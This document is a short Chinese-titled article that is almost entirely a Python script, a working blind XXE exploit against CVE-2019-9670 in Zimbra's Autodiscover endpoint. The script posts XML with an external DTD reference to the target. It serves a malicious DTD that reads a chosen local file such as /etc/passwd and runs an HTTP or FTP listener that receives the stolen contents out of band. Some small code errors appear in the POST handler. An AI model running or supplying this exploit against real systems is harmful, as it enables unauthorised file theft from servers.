渗透工具开发——blind XXE利用平台的实现

#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""


class XXERequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("file.dtd"):
            print("[+] Delivering DTD file to " + self.client_address[0])

            if xxeplatform_ftp_port == "false":
                xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{xxeplatform_url}:{xxeplatform_http_port}/?requestfiledata=%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
            else:
                xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://{xxeplatform_url}:{xxeplatform_ftp_port}/%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)

            self.send_response(200)
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))

        if "?requestfiledata=" in self.path:
            print("[+] Read file content successfully. The contents are as follows:")
            print(self.path[18:])

    def do_POST(self):
        print(self.path)
        post_data = self.rfile.read(length).decode()
        print(post_data)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write()
       
#Reference:https://github.com/TheTwitchy/xxer/
class FTPserverThread(threading.Thread):
    def __init__(self, conn_addr):
        conn, addr = conn_addr
        self.conn = conn
        self.addr = addr
        threading.Thread.__init__(self)

    def run(self):
        self.conn.send(b'220 Welcome!\r\n')
        print("[+] Read file content successfully. The contents are as follows:")
        while True:
            data = self.conn.recv(1024)
            if not data:
                break
            else:
                if "RETR" in bytes.decode(data):
                    print(bytes.decode(data)[5:], end='')
                elif "CWD" in bytes.decode(data):
                    print(bytes.decode(data)[4:], end='')

                #print("FTP: recvd '%s'" % bytes.decode(data))
                if "LIST" in bytes.decode(data):
                    self.conn.send(b"drwxrwxrwx 1 owner group          1 Feb 21 04:37 test\r\n")
                    self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
                    self.conn.send(b"226 Transfer complete.\r\n")
                elif "USER" in bytes.decode(data):
                    self.conn.send(b"331 password please\r\n")
                elif "PORT" in bytes.decode(data):
                    self.conn.send(b"500 PORT command error\r\n")
                elif "RETR" in bytes.decode(data):
                    self.conn.send(b"500 Sorry.\r\n\r\n")
                else:
                    self.conn.send(b"230 more data please\r\n")


class FTPserver(threading.Thread):
    def __init__(self, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("0.0.0.0", port))
        threading.Thread.__init__(self)

    def run(self):
        self.sock.listen(5)
        while True:
            th = FTPserverThread(self.sock.accept())
            th.daemon = True
            th.start()

    def stop(self):
        self.sock.close()


def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):

        xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://{xxeplatform_url}:{xxeplatform_http_port}/file.dtd">
        %dtd;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)

        headers = {
            "Content-Type":"application/xml"
        }

        r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)


if __name__ == '__main__':
    if len(sys.argv)!=5:
        print("blind_XXEPlatform_CVE-2019-9670.py") 
        print("It supports receiving results through HTTP or FTP protocol.")           
        print("Usage:")
        print("%s <xxeplatform_url> <xxeplatform_http_port> <xxeplatform_ftp_port> <target_url>"%(sys.argv[0]))
        print("Note:")
        print("If you set the value of <xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")        
        print("Eg.")
        print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
        print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
        sys.exit(0)
    else:
        xxeplatform_url = sys.argv[1]       
        xxeplatform_http_port = sys.argv[2]
        xxeplatform_ftp_port = sys.argv[3]
        target_url = sys.argv[4]
        print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
        httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
        handlerthr = Thread(target=httpd.serve_forever, args=())
        handlerthr.daemon = True
        handlerthr.start()

        if xxeplatform_ftp_port == "false":
            print("[*] Receive results over HTTP protocol")
        else:
            print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
            t_ftpd = FTPserver(int(xxeplatform_ftp_port))
            t_ftpd.daemon = True
            t_ftpd.start()
            print("[*] Receive results over FTP protocol")            

        try:
            while 1:
                filetoread = input("Input the file path to read(Eg. /etc/passwd):")
                send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)

        except KeyboardInterrupt:
            pass